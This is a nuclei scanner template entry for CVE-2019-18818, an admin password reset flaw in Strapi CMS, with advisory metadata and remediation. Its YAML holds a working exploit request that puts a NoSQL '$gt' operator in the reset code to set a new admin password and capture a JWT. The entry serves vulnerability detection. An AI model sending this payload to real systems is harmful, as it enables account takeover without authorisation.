CVE-2019-18818: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
- Template: CVE-2019-18818
- Name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
- Description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
- Impact: An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
- Remediation: Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
- Severity: critical
- Authors: idealphase
- Tags: cve, cve2019, strapi, auth-bypass, intrusive, edb, vkev, vuln
- References: https://github.com/advisories/GHSA-6xc2-mj39-q599, https://www.exploit-db.com/exploits/50239, https://nvd.nist.gov/vuln/detail/CVE-2019-18818, https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5, https://github.com/strapi/strapi/pull/4443
- Cves: CVE-2019-18818
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2019/CVE-2019-18818.yaml
- Digest: 490a0046304402203d82a8f4313666e84eedd5ef63d32fa0d07a93e6557e5790af099ad43164f6c002201a9cc83cf0880a705c9572bb4fbb6c07f84fba84b6287730eddbcacb342e537e
- Created at: 2021-09-05T11:54:32Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1906
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-18818.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-640
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.97476
- Epss percentile: 0.99901
- Cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: strapi
- Vendor: strapi
Products
| Product | Indexed | Url |
|---|---|---|
| strapi:strapi | yes | /v1/products/strapi/strapi |
Labels
- Name: Strapi CMS - Broken Authentication
- Impact: Attackers can reset admin passwords, potentially gaining unauthorized access to the admin panel.
- Remediation: Update to version 3.0.0-beta.17.5 or later.
- Vulnerability type: broken_authentication
- Vulnerability impact: privilege_escalation
- Requirement type: user_interaction
- Requirements: Attacker needs to initiate password reset process
- Labels source: projectdiscovery
- From cve: CVE-2019-18818
```yaml
id: CVE-2019-18818
info:
name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
author: idealphase
severity: critical
description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
impact: |
An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
remediation: |
Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
reference:
- https://github.com/advisories/GHSA-6xc2-mj39-q599
- https://www.exploit-db.com/exploits/50239
- https://nvd.nist.gov/vuln/detail/CVE-2019-18818
- https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
- https://github.com/strapi/strapi/pull/4443
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-18818
cwe-id: CWE-640
epss-score: 0.97476
epss-percentile: 0.99901
cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: strapi
product: strapi
tags: cve,cve2019,strapi,auth-bypass,intrusive,edb,vkev,vuln
http:
- raw:
- |
POST /admin/auth/reset-password HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/json
{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: word
part: body
words:
- '"username":'
- '"email":'
- '"jwt":'
condition: and
- type: status
status:
- 200
extractors:
- type: json
json:
- .user.username
- .user.email
digest: 490a0046304402203d82a8f4313666e84eedd5ef63d32fa0d07a93e6557e5790af099ad43164f6c002201a9cc83cf0880a705c9572bb4fbb6c07f84fba84b6287730eddbcacb342e537e:922c64590222798bb761d5b6d8e72950
```